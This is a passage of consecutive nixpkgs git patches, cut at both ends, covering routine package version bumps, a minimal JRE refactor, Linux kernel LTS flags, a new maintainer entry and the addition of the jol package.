-  kernelCompatible = kernel: kernel.kernelOlder "6.16";
+  kernelCompatible = kernel: kernel.kernelOlder "6.17";
 
   # this package should point to a version / git revision compatible with the latest kernel release
   # IMPORTANT: Always use a tagged release candidate or commits from the
   # zfs-<version>-staging branch, because this is tested by the OpenZFS
   # maintainers.
-  version = "2.3.3";
+  version = "2.4.0-rc1";
   # rev = "";
 
   tests = {
     inherit (nixosTests.zfs) unstable;
   };
 
-  hash = "sha256-NXAbyGBfpzWfm4NaP1/otTx8fOnoRV17343qUMdQp5U=";
+  hash = "sha256-6BU/Cotu+Lp7Pqp0eyECzAwsl82vKyDBkacxAh9wHPo=";
 
   extraLongDescription = ''
     This is "unstable" ZFS, and will usually be a pre-release version of ZFS.

From 32e5e0cea252b782f607f36d735d68686b0d29a6 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 16 Aug 2025 13:04:51 +0000
Subject: [PATCH 3861/4511] shaarli: 0.14.0 -> 0.15.0

(cherry picked from commit 586baa3d3b0ab2c3cc0dd8f4aac58c76726b6799)
---
 pkgs/by-name/sh/shaarli/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sh/shaarli/package.nix b/pkgs/by-name/sh/shaarli/package.nix
index 034e048e77e1..5c07339d2761 100644
--- a/pkgs/by-name/sh/shaarli/package.nix
+++ b/pkgs/by-name/sh/shaarli/package.nix
@@ -6,11 +6,11 @@
 
 stdenv.mkDerivation rec {
   pname = "shaarli";
-  version = "0.14.0";
+  version = "0.15.0";
 
   src = fetchurl {
     url = "https://github.com/shaarli/Shaarli/releases/download/v${version}/shaarli-v${version}-full.tar.gz";
-    sha256 = "sha256-vTSjYrde6ODQnIh77Um4McR9M8KKWnuIGRGE7SCMZC0=";
+    sha256 = "sha256-+UEtbEYHQrLtClk6VemMhSNx0OPh/JDVlDIfeIzdmRI=";
   };
 
   outputs = [

From f03a7ad45f6bc6f49f3aec679ff4a24ab5173442 Mon Sep 17 00:00:00 2001
From: Louis Bailleau <louis13.bailleau@gmail.com>
Date: Sat, 23 Aug 2025 11:09:45 +0200
Subject: [PATCH 3862/4511] microsoft-edge: 139.0.3405.104 -> 139.0.3405.111

(cherry picked from commit 474f47c12326f52338c0e226b3c5f5aad72717c6)
---
 pkgs/by-name/mi/microsoft-edge/package.nix | 20 ++------------------
 1 file changed, 2 insertions(+), 18 deletions(-)

diff --git a/pkgs/by-name/mi/microsoft-edge/package.nix b/pkgs/by-name/mi/microsoft-edge/package.nix
index 5a0971829d4b..2361333a8112 100644
--- a/pkgs/by-name/mi/microsoft-edge/package.nix
+++ b/pkgs/by-name/mi/microsoft-edge/package.nix
@@ -6,7 +6,6 @@
   patchelf,
   bintools,
   dpkg,
-
   # Linked dynamic libraries.
   alsa-lib,
   at-spi2-atk,
@@ -47,20 +46,15 @@
   pipewire,
   vulkan-loader,
   wayland, # ozone/wayland
-
   # Command line programs
   coreutils,
-
   # command line arguments which are always set e.g "--disable-gpu"
   commandLineArgs ? "",
-
   # Will crash without.
   systemd,
-
   # Loaded at runtime.
   libexif,
   pciutils,
-
   # Additional dependencies according to other distros.
   ## Ubuntu
   curl,
@@ -79,34 +73,25 @@
   ## Gentoo
   bzip2,
   libcap,
-
   # Necessary for USB audio devices.
   libpulseaudio,
   pulseSupport ? true,
-
   adwaita-icon-theme,
   gsettings-desktop-schemas,
-
   # For video acceleration via VA-API (--enable-features=VaapiVideoDecoder)
   libva,
   libvaSupport ? true,
-
   # For Vulkan support (--enable-features=Vulkan)
   addDriverRunpath,
-
   # For QT support
   qt6,
-
   # Edge AAD sync
   cacert,
   libsecret,
-
   # Edge Specific
   libuuid,
 }:
-
 let
-
   opusWithCustomModes = libopus.override { withCustomModes = true; };
 
   deps = [
@@ -175,14 +160,13 @@ let
   ++ lib.optionals pulseSupport [ libpulseaudio ]
   ++ lib.optionals libvaSupport [ libva ];
 in
-
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "microsoft-edge";
-  version = "139.0.3405.102";
+  version = "139.0.3405.111";
 
   src = fetchurl {
     url = "https://packages.microsoft.com/repos/edge/pool/main/m/microsoft-edge-stable/microsoft-edge-stable_${finalAttrs.version}-1_amd64.deb";
-    hash = "sha256-rY6Q3sMIAGX/ZKOVvwSl6cxq24SB1PiCn7b1pMXMeps=";
+    hash = "sha256-1hsvzvaVCDSWGEpqMjsrz7V9Ra+PtoZ//lSXSlmS3FI=";
   };
 
   # With strictDeps on, some shebangs were not being patched correctly

From c49861a97976b8807b12b9a690557274b95a254e Mon Sep 17 00:00:00 2001
From: Pol Dellaiera <pol.dellaiera@protonmail.com>
Date: Thu, 3 Jul 2025 14:27:47 +0200
Subject: [PATCH 3863/4511] jre: fix missing `meta`, simplify the expression

(cherry picked from commit 73661d9fb41c06ea7399eeb08972bf9792997b0b)
---
 pkgs/development/compilers/openjdk/jre.nix | 55 ++++++++++++----------
 1 file changed, 30 insertions(+), 25 deletions(-)

diff --git a/pkgs/development/compilers/openjdk/jre.nix b/pkgs/development/compilers/openjdk/jre.nix
index 2370774cef29..9e9498f4d6dc 100644
--- a/pkgs/development/compilers/openjdk/jre.nix
+++ b/pkgs/development/compilers/openjdk/jre.nix
@@ -7,38 +7,43 @@
   modules ? [ "java.base" ],
 }:
 
-let
-  jre = stdenv.mkDerivation {
-    pname = "${jdk.pname}-minimal-jre";
-    version = jdk.version;
+stdenv.mkDerivation (finalAttrs: {
+  pname = "${jdk.pname}-minimal-jre";
+  version = jdk.version;
 
-    nativeBuildInputs = [ jdkOnBuild ];
-    buildInputs = [ jdk ];
-    strictDeps = true;
+  nativeBuildInputs = [ jdkOnBuild ];
+  buildInputs = [ jdk ];
+  strictDeps = true;
 
-    dontUnpack = true;
+  dontUnpack = true;
 
-    # Strip more heavily than the default '-S', since if you're
-    # using this derivation you probably care about this.
-    stripDebugFlags = [ "--strip-unneeded" ];
+  # Strip more heavily than the default '-S', since if you're
+  # using this derivation you probably care about this.
+  stripDebugFlags = [ "--strip-unneeded" ];
 
-    buildPhase = ''
-      runHook preBuild
+  buildPhase = ''
+    runHook preBuild
 
-      jlink --module-path ${jdk}/lib/openjdk/jmods --add-modules ${lib.concatStringsSep "," modules} --output $out
+    jlink --module-path ${jdk}/lib/openjdk/jmods --add-modules ${lib.concatStringsSep "," modules} --output $out
 
-      runHook postBuild
-    '';
+    runHook postBuild
+  '';
 
-    dontInstall = true;
+  dontInstall = true;
 
-    passthru = {
-      home = "${jre}";
-      tests = {
-        jre_minimal-hello = callPackage ./tests/test_jre_minimal.nix { };
-        jre_minimal-hello-logging = callPackage ./tests/test_jre_minimal_with_logging.nix { };
-      };
+  passthru = {
+    home = "${finalAttrs.finalPackage}";
+    tests = {
+      jre_minimal-hello = callPackage ./tests/test_jre_minimal.nix { };
+      jre_minimal-hello-logging = callPackage ./tests/test_jre_minimal_with_logging.nix { };
     };
   };
-in
-jre
+
+  meta = jdk.meta // {
+    description = "Minimal JRE for OpenJDK ${jdk.version}";
+    longDescription = ''
+      This is a minimal JRE built from OpenJDK, containing only the specified modules.
+      It is suitable for running Java applications that do not require the full JDK.
+    '';
+  };
+})

From 233f596f83ac425811a0010156efb581d3add1ab Mon Sep 17 00:00:00 2001
From: Pol Dellaiera <pol.dellaiera@protonmail.com>
Date: Thu, 3 Jul 2025 18:48:03 +0200
Subject: [PATCH 3864/4511] jre11_minimal: init at 11.0.26

(cherry picked from commit b62c5b499fc3c2572f4bf4d47852c6b983e4d800)
---
 pkgs/top-level/all-packages.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 7e51b6289ce9..b0db51af973f 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -5773,6 +5773,10 @@ with pkgs;
   jre = jdk;
   jre_headless = jdk_headless;
 
+  jre11_minimal = callPackage ../development/compilers/openjdk/jre.nix {
+    jdk = jdk11;
+    jdkOnBuild = buildPackages.jdk11;
+  };
   jre17_minimal = callPackage ../development/compilers/openjdk/jre.nix {
     jdk = jdk17;
     jdkOnBuild = buildPackages.jdk17;

From 835aabc30f6016f4c2ed99e719fe8c0ce2846382 Mon Sep 17 00:00:00 2001
From: Pol Dellaiera <pol.dellaiera@protonmail.com>
Date: Thu, 3 Jul 2025 14:38:07 +0200
Subject: [PATCH 3865/4511] rundeck-cli: replace `jdk` with
 `jre11_minimal_headless`

(cherry picked from commit ed3f7f140a7f71043986402dad8f8ef8fbb09f53)
---
 pkgs/by-name/ru/rundeck-cli/package.nix | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/ru/rundeck-cli/package.nix b/pkgs/by-name/ru/rundeck-cli/package.nix
index d8eddf44295b..cbef2684ae51 100644
--- a/pkgs/by-name/ru/rundeck-cli/package.nix
+++ b/pkgs/by-name/ru/rundeck-cli/package.nix
@@ -3,12 +3,16 @@
   stdenv,
   fetchurl,
   makeWrapper,
-  jdk11,
-  unzip,
+  jre11_minimal,
+  jdk11_headless,
   versionCheckHook,
   nix-update-script,
 }:
-
+let
+  jre11_minimal_headless = jre11_minimal.override {
+    jdk = jdk11_headless;
+  };
+in
 stdenv.mkDerivation (finalAttrs: {
   pname = "rundeck-cli";
   version = "2.0.9";
@@ -19,7 +23,7 @@ stdenv.mkDerivation (finalAttrs: {
   };
 
   nativeBuildInputs = [ makeWrapper ];
-  buildInputs = [ jdk11 ];
+  buildInputs = [ jre11_minimal_headless ];
 
   dontUnpack = true;
 
@@ -30,7 +34,7 @@ stdenv.mkDerivation (finalAttrs: {
     cp $src $out/share/rundeck-cli/rundeck-cli.jar
 
     mkdir -p $out/bin
-    makeWrapper ${lib.getExe jdk11} $out/bin/rd \
+    makeWrapper ${lib.getExe jre11_minimal_headless} $out/bin/rd \
       --add-flags "-jar $out/share/rundeck-cli/rundeck-cli.jar"
 
     runHook postInstall

From 7a6f8fa680be7871060a9541e22ba4ba48cb66e6 Mon Sep 17 00:00:00 2001
From: FlameFlag <57304299+FlameFlag@users.noreply.github.com>
Date: Sat, 23 Aug 2025 03:20:02 +0300
Subject: [PATCH 3866/4511] yt-dlp: 2025.08.20 -> 2025.08.22

Changelog: https://github.com/yt-dlp/yt-dlp/releases/tag/2025.08.22
Diff: https://github.com/yt-dlp/yt-dlp/compare/2025.08.20...2025.08.22
(cherry picked from commit 7e9ba753e1414376d34f1faecb6d1dc239eeb79a)
---
 pkgs/by-name/yt/yt-dlp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/yt/yt-dlp/package.nix b/pkgs/by-name/yt/yt-dlp/package.nix
index 3974372a9d36..803a3cbce898 100644
--- a/pkgs/by-name/yt/yt-dlp/package.nix
+++ b/pkgs/by-name/yt/yt-dlp/package.nix
@@ -19,14 +19,14 @@ python3Packages.buildPythonApplication rec {
   # The websites yt-dlp deals with are a very moving target. That means that
   # downloads break constantly. Because of that, updates should always be backported
   # to the latest stable release.
-  version = "2025.08.20";
+  version = "2025.08.22";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "yt-dlp";
     repo = "yt-dlp";
     tag = version;
-    hash = "sha256-FeIoV7Ya+tGCMvUUXmPrs4MN52zwqrcpzJ6Arh4V450=";
+    hash = "sha256-58Qj+Bt4GEGgWpqAuMVemixm5AUcqS+e2Sajoeun8KY=";
   };
 
   postPatch = ''

From 267f471e940e60fef1fd760e277df8a5d33020bc Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sat, 23 Aug 2025 17:20:28 +0200
Subject: [PATCH 3867/4511] linux: fix backwards-compat of
 structuredExtraConfig vs extraStructuredConfig

Follow-up on #431115: the change from extraStructuredConfig
to structuredExtraConfig is breaking. This patch accepts both variants
(but not at the same time) and gives an eval-time warning about the
hard-rename in unstable/25.11.
---
 pkgs/os-specific/linux/kernel/generic.nix | 15 ++++++++++++++-
 1 file changed, 14 insertions(+), 1 deletion(-)

diff --git a/pkgs/os-specific/linux/kernel/generic.nix b/pkgs/os-specific/linux/kernel/generic.nix
index 050ce72b5f4b..97c6e88e7b3f 100644
--- a/pkgs/os-specific/linux/kernel/generic.nix
+++ b/pkgs/os-specific/linux/kernel/generic.nix
@@ -137,10 +137,23 @@ let
       structuredConfigFromPatches = map (
         {
           structuredExtraConfig ? { },
+          extraStructuredConfig ? { },
           ...
         }:
         {
-          settings = structuredExtraConfig;
+          settings =
+            if extraStructuredConfig != { } then
+              assert lib.assertMsg (structuredExtraConfig == { }) ''
+                Using both `extraStructuredConfig` & `structuredExtraConfig` for a single kernel
+                patch is not supported!
+              '';
+              lib.warn ''
+                Passing `extraStructuredConfig` to the Linux kernel build
+                (e.g. via `boot.kernelPatches` in NixOS) is deprecated and will fail at
+                evaluation in 25.11. Use `structuredExtraConfig` instead.
+              '' extraStructuredConfig
+            else
+              structuredExtraConfig;
         }
       ) kernelPatches;
 

From 5c51ba2326e04f773017beef80f522bfeee33816 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Sat, 23 Aug 2025 18:19:38 +0300
Subject: [PATCH 3868/4511] linux_6_16: 6.16.2 -> 6.16.3

(cherry picked from commit 6900ce0348a5ed15870ee77b1df069f38a4c6b73)
---
 pkgs/os-specific/linux/kernel/kernels-org.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 71cf61687254..8998731ef1e8 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -32,7 +32,7 @@
         "hash": "sha256:14sxwrvw9p4ybizb8ky1rgahc62q0aw5qkmzqp3cpnavqfgldaw9"
     },
     "6.16": {
-        "version": "6.16.2",
-        "hash": "sha256:0vghyk7ggmgnsldyz67v9llzbi6mxyivx83z7fylyxrxg7xacq5p"
+        "version": "6.16.3",
+        "hash": "sha256:118bg72mdrf75r36gki5zi18ynl2kcygrf24pwd58by1anh9nhw0"
     }
 }

From 6b62562faaf5d1d9bb08d1fbaebde3d733f7e5a1 Mon Sep 17 00:00:00 2001
From: Atemu <git@atemu.net>
Date: Sun, 10 Aug 2025 14:39:25 +0200
Subject: [PATCH 3869/4511] linux-kernels: add LTS flag

This serves to differentiate between a kernel that is an LTS release and one
that is merely a regular "stable" release.

(cherry picked from commit fd3c91597555f25b508b6d0f1b37db04b56eac48)
---
 pkgs/os-specific/linux/kernel/generic.nix     |  2 ++
 .../os-specific/linux/kernel/kernels-org.json | 24 ++++++++++++-------
 pkgs/os-specific/linux/kernel/mainline.nix    |  1 +
 .../linux/kernel/update-mainline.py           |  1 +
 pkgs/top-level/linux-kernels.nix              |  7 +++++-
 5 files changed, 26 insertions(+), 9 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/generic.nix b/pkgs/os-specific/linux/kernel/generic.nix
index 97c6e88e7b3f..5188e143abb0 100644
--- a/pkgs/os-specific/linux/kernel/generic.nix
+++ b/pkgs/os-specific/linux/kernel/generic.nix
@@ -70,6 +70,7 @@ let
         ],
       extraMeta ? { },
 
+      isLTS ? false,
       isZen ? false,
       isLibre ? false,
       isHardened ? false,
@@ -313,6 +314,7 @@ let
               commonStructuredConfig
               structuredExtraConfig
               extraMakeFlags
+              isLTS
               isZen
               isHardened
               isLibre
diff --git a/pkgs/os-specific/linux/kernel/kernels-org.json b/pkgs/os-specific/linux/kernel/kernels-org.json
index 8998731ef1e8..76b51e7a95cf 100644
--- a/pkgs/os-specific/linux/kernel/kernels-org.json
+++ b/pkgs/os-specific/linux/kernel/kernels-org.json
@@ -5,34 +5,42 @@
     },
     "6.1": {
         "version": "6.1.148",
-        "hash": "sha256:18c024bqqc3srzv2gva55p95yghjc6x3p3f54v3hziki4wx3v86r"
+        "hash": "sha256:18c024bqqc3srzv2gva55p95yghjc6x3p3f54v3hziki4wx3v86r",
+        "lts": false
     },
     "5.15": {
         "version": "5.15.189",
-        "hash": "sha256:1hshd26ahn6dbw6jnqi0v5afpk672w7p09mk7iri93i7hxdh5l73"
+        "hash": "sha256:1hshd26ahn6dbw6jnqi0v5afpk672w7p09mk7iri93i7hxdh5l73",
+        "lts": true
     },
     "5.10": {
         "version": "5.10.240",
-        "hash": "sha256:04sdcf4aqsqchii38anzmk9f9x65wv8q1x3m9dandmi6fabw724d"
+        "hash": "sha256:04sdcf4aqsqchii38anzmk9f9x65wv8q1x3m9dandmi6fabw724d",
+        "lts": true
     },
     "5.4": {
         "version": "5.4.296",
-        "hash": "sha256:0fm73yqzbzclh2achcj8arpg428d412k2wgmlfmyy6xzb1762qrx"
+        "hash": "sha256:0fm73yqzbzclh2achcj8arpg428d412k2wgmlfmyy6xzb1762qrx",
+        "lts": true
     },
     "6.6": {
         "version": "6.6.102",
-        "hash": "sha256:0p6yjifwyrqlppn40isgxb0b5vqmljggmnp7w75vlc2c6fvzxll0"
+        "hash": "sha256:0p6yjifwyrqlppn40isgxb0b5vqmljggmnp7w75vlc2c6fvzxll0",
+        "lts": true
     },
     "6.12": {
         "version": "6.12.43",
-        "hash": "sha256:1vmxywg11z946i806sg7rk7jr9px87spmwwbzjxpps2nsjybpjqg"
+        "hash": "sha256:1vmxywg11z946i806sg7rk7jr9px87spmwwbzjxpps2nsjybpjqg",
+        "lts": true
     },
     "6.15": {
         "version": "6.15.11",
-        "hash": "sha256:14sxwrvw9p4ybizb8ky1rgahc62q0aw5qkmzqp3cpnavqfgldaw9"
+        "hash": "sha256:14sxwrvw9p4ybizb8ky1rgahc62q0aw5qkmzqp3cpnavqfgldaw9",
+        "lts": false
     },
     "6.16": {
         "version": "6.16.3",
-        "hash": "sha256:118bg72mdrf75r36gki5zi18ynl2kcygrf24pwd58by1anh9nhw0"
+        "hash": "sha256:118bg72mdrf75r36gki5zi18ynl2kcygrf24pwd58by1anh9nhw0",
+        "lts": false
     }
 }
diff --git a/pkgs/os-specific/linux/kernel/mainline.nix b/pkgs/os-specific/linux/kernel/mainline.nix
index 41c5a0218fac..ac8f75c873eb 100644
--- a/pkgs/os-specific/linux/kernel/mainline.nix
+++ b/pkgs/os-specific/linux/kernel/mainline.nix
@@ -32,6 +32,7 @@ let
     (builtins.removeAttrs args [ "branch" ])
     // {
       inherit src version;
+      isLTS = thisKernel.lts;
 
       modDirVersion = lib.versions.pad 3 version;
       extraMeta.branch = branch;
diff --git a/pkgs/os-specific/linux/kernel/update-mainline.py b/pkgs/os-specific/linux/kernel/update-mainline.py
index 13e89d3df1e1..9f61236e67fa 100755
--- a/pkgs/os-specific/linux/kernel/update-mainline.py
+++ b/pkgs/os-specific/linux/kernel/update-mainline.py
@@ -152,6 +152,7 @@ def main():
         all_kernels[branch] = {
             "version": kernel.version,
             "hash": get_hash(kernel),
+            "lts": kernel.nature == KernelNature.LONGTERM,
         }
 
         with VERSIONS_FILE.open("w") as fd:
diff --git a/pkgs/top-level/linux-kernels.nix b/pkgs/top-level/linux-kernels.nix
index 317fe399ecdf..966eaf60ad44 100644
--- a/pkgs/top-level/linux-kernels.nix
+++ b/pkgs/top-level/linux-kernels.nix
@@ -353,7 +353,12 @@ in
         inherit (kernel) stdenv; # in particular, use the same compiler by default
 
         # to help determine module compatibility
-        inherit (kernel) isZen isHardened isLibre;
+        inherit (kernel)
+          isLTS
+          isZen
+          isHardened
+          isLibre
+          ;
         inherit (kernel) kernelOlder kernelAtLeast;
         kernelModuleMakeFlags = self.kernel.commonMakeFlags ++ [
           "KBUILD_OUTPUT=${kernel.dev}/lib/modules/${kernel.modDirVersion}/build"

From fa606a288f8da7a009c357c86245bd50cc048a50 Mon Sep 17 00:00:00 2001
From: Atemu <git@atemu.net>
Date: Tue, 3 Dec 2024 23:31:55 +0100
Subject: [PATCH 3870/4511] linux_xanmod: set isLTS

(cherry picked from commit eb85811eb974acaf22cd0602730c034f0d699586)
(cherry picked from commit a6c61f0624137f2711ec5d386c27b6460278efcf)
---
 pkgs/os-specific/linux/kernel/xanmod-kernels.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
index 37f23057c66f..9463d9d62df3 100644
--- a/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/xanmod-kernels.nix
@@ -17,6 +17,7 @@ let
     lts = {
       version = "6.12.43";
       hash = "sha256-Jc3VKpUaIc1nBbbCZ/jAx/kteuQBQBO6TEPlaNq8Jrk=";
+      isLTS = true;
     };
     # ./update-xanmod.sh main
     main = {
@@ -30,6 +31,7 @@ let
       version,
       suffix ? "xanmod1",
       hash,
+      isLTS ? false,
     }:
     buildLinux (
       args
@@ -76,6 +78,7 @@ let
           ./update-xanmod.sh
           variant
         ];
+        inherit isLTS;
 
         extraMeta = {
           branch = lib.versions.majorMinor version;

From 959a1bef3c752f2492df02f618e168fb761b56cb Mon Sep 17 00:00:00 2001
From: Atemu <git@atemu.net>
Date: Tue, 3 Dec 2024 23:36:23 +0100
Subject: [PATCH 3871/4511] linux-rt: set isLTS

These are all LTS kernels

(cherry picked from commit 1170dcdc89b2c640c449d215e8ba42fdb1b0e63b)
(cherry picked from commit eb28e9287c61f057800fe189c5c74303a911cfa3)
---
 pkgs/os-specific/linux/kernel/linux-rt-5.10.nix | 1 +
 pkgs/os-specific/linux/kernel/linux-rt-5.15.nix | 2 ++
 pkgs/os-specific/linux/kernel/linux-rt-5.4.nix  | 2 ++
 pkgs/os-specific/linux/kernel/linux-rt-6.1.nix  | 2 ++
 pkgs/os-specific/linux/kernel/linux-rt-6.6.nix  | 2 ++
 5 files changed, 9 insertions(+)

diff --git a/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix b/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix
index 6bc23341acad..08cc4cfce3cb 100644
--- a/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rt-5.10.nix
@@ -40,6 +40,7 @@ buildLinux (
       in
       [ rt-patch ] ++ kernelPatches;
 
+    isLTS = true;
     structuredExtraConfig =
       with lib.kernel;
       {
diff --git a/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix b/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix
index 0db95f0059c7..49c0f89f8a2b 100644
--- a/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rt-5.15.nix
@@ -57,6 +57,8 @@ buildLinux (
       }
       // structuredExtraConfig;
 
+    isLTS = true;
+
     extraMeta = extraMeta // {
       inherit branch;
     };
diff --git a/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix b/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix
index a621d24576fd..5c95493379da 100644
--- a/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rt-5.4.nix
@@ -50,6 +50,8 @@ buildLinux (
       }
       // structuredExtraConfig;
 
+    isLTS = true;
+
     extraMeta = extraMeta // {
       inherit branch;
     };
diff --git a/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix b/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix
index 6c6459e8b14e..f27de5421729 100644
--- a/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rt-6.1.nix
@@ -60,6 +60,8 @@ buildLinux (
     extraMeta = extraMeta // {
       inherit branch;
     };
+
+    isLTS = true;
   }
   // argsOverride
 )
diff --git a/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix b/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix
index 5a877d6c32fb..037fb34519e1 100644
--- a/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rt-6.6.nix
@@ -60,6 +60,8 @@ buildLinux (
     extraMeta = extraMeta // {
       inherit branch;
     };
+
+    isLTS = true;
   }
   // argsOverride
 )

From 3ecacf46f1924b866212611642480271610c2825 Mon Sep 17 00:00:00 2001
From: Atemu <git@atemu.net>
Date: Tue, 3 Dec 2024 23:40:06 +0100
Subject: [PATCH 3872/4511] linux-rpi*: set isLTS

These are based on 6.6.y

(cherry picked from commit d44a5499d71bd03603377ea1b7905ee6ac746be6)
(cherry picked from commit fa336d0e0d39f61fff7fae5984bf77d1b63ac454)
---
 pkgs/os-specific/linux/kernel/linux-rpi.nix | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/pkgs/os-specific/linux/kernel/linux-rpi.nix b/pkgs/os-specific/linux/kernel/linux-rpi.nix
index 61dfec4f1a31..5cbcd1ac4515 100644
--- a/pkgs/os-specific/linux/kernel/linux-rpi.nix
+++ b/pkgs/os-specific/linux/kernel/linux-rpi.nix
@@ -44,6 +44,8 @@ lib.overrideDerivation
       }
       // (args.features or { });
 
+      isLTS = true;
+
       extraMeta =
         if (rpiVersion < 3) then
           {

From c7d481eed93762fae20fb6805635187b0b99c494 Mon Sep 17 00:00:00 2001
From: Pol Dellaiera <pol.dellaiera@protonmail.com>
Date: Thu, 3 Jul 2025 14:41:24 +0200
Subject: [PATCH 3873/4511] =?UTF-8?q?rundeck-cli:=20makeWrapper=20?=
 =?UTF-8?q?=E2=86=92=20makeBinaryWrapper?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

(partially cherry picked from commit 7c0d6e3759bdbcd7bc6c1370604b28a8497d5960)
---
 pkgs/by-name/ru/rundeck-cli/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ru/rundeck-cli/package.nix b/pkgs/by-name/ru/rundeck-cli/package.nix
index cbef2684ae51..77b5ef6deb5d 100644
--- a/pkgs/by-name/ru/rundeck-cli/package.nix
+++ b/pkgs/by-name/ru/rundeck-cli/package.nix
@@ -2,7 +2,7 @@
   lib,
   stdenv,
   fetchurl,
-  makeWrapper,
+  makeBinaryWrapper,
   jre11_minimal,
   jdk11_headless,
   versionCheckHook,
@@ -22,7 +22,7 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-c6QAgwyRCtoOlS7DEmjyK3BwHV122bilL6H+Hzrv2dQ=";
   };
 
-  nativeBuildInputs = [ makeWrapper ];
+  nativeBuildInputs = [ makeBinaryWrapper ];
   buildInputs = [ jre11_minimal_headless ];
 
   dontUnpack = true;

From 5a205cb1dc1fd302073b700927ddf35c973e36d5 Mon Sep 17 00:00:00 2001
From: Denilson dos Santos Ebling <d.ebling8@gmail.com>
Date: Sun, 22 Jun 2025 16:48:58 -0300
Subject: [PATCH 3874/4511] maintainers: add debling

(cherry picked from commit 3e81a31ae7c8ddd3019639d960fca599403e7417)
---
 maintainers/maintainer-list.nix | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/maintainers/maintainer-list.nix b/maintainers/maintainer-list.nix
index c1e5bbdb24a2..1e96d75e1aeb 100644
--- a/maintainers/maintainer-list.nix
+++ b/maintainers/maintainer-list.nix
@@ -5877,6 +5877,13 @@
     githubId = 30749142;
     keys = [ { fingerprint = "4E35 F2E5 2132 D654 E815  A672 DB2C BC24 2868 6000"; } ];
   };
+  debling = {
+    name = "Denilson S. Ebling";
+    email = "d.ebling8@gmail.com";
+    github = "debling";
+    githubId = 32403873;
+    keys = [ { fingerprint = "3EDD 9C88 B0F2 58F8 C25F  5D2C CCBC 8AA1 AF06 2142"; } ];
+  };
   declan = {
     name = "Declan Rixon";
     email = "declan.fraser.rixon@gmail.com";

From b93bc7e2aba77b4dcb50422e78bc38ea7a3d7ca0 Mon Sep 17 00:00:00 2001
From: Petr Portnov <mrjarviscraft@gmail.com>
Date: Wed, 6 Aug 2025 23:40:33 +0300
Subject: [PATCH 3875/4511] jol: init at 0.17

Co-authored-by: Denilson S. Ebling <d.ebling8@gmail.com>
(cherry picked from commit 1b83b39faa7b89c553b64777be7238800adb9806)
---
 pkgs/by-name/jo/jol/package.nix | 62 +++++++++++++++++++++++++++++++++
 1 file changed, 62 insertions(+)
 create mode 100644 pkgs/by-name/jo/jol/package.nix

diff --git a/pkgs/by-name/jo/jol/package.nix b/pkgs/by-name/jo/jol/package.nix
new file mode 100644
index 000000000000..b486d4fcfebf
--- /dev/null
+++ b/pkgs/by-name/jo/jol/package.nix
@@ -0,0 +1,62 @@
+{
+  maven,
+  lib,
+  fetchFromGitHub,
+  jre_minimal,
+  makeWrapper,
+  nix-update-script,
+}:
+maven.buildMavenPackage rec {
+  pname = "jol";
+  version = "0.17";
+
+  src = fetchFromGitHub {
+    owner = "OpenJDK";
+    repo = "jol";
+    tag = version;
+    hash = "sha256-ZJFuY2QYB8eUS3y3VRMGGwklCS93HHVkNe/dhyIx0SY=";
+  };
+
+  mvnHash = "sha256-yQfiHlAZZgINGAYVlK5JflWX3d8Axtv1Ke89S7x86G4=";
+
+  nativeBuildInputs = [ makeWrapper ];
+
+  postPatch = ''
+    substituteInPlace jol-cli/src/main/java/org/openjdk/jol/Main.java \
+      --replace-fail 'Usage: jol-cli.jar' 'Usage: jol-cli'
+  '';
+
+  installPhase = ''
+    runHook preInstall
+
+    install -Dm644 jol-cli/target/jol-cli.jar $out/share/jol-cli/jol-cli.jar
+    makeWrapper ${lib.getExe' jre_minimal "java"} $out/bin/jol-cli \
+      --add-flags "-jar $out/share/jol-cli/jol-cli.jar"
+
+    runHook postInstall
+  '';
+
+  passthru.updateScript = nix-update-script { };
+
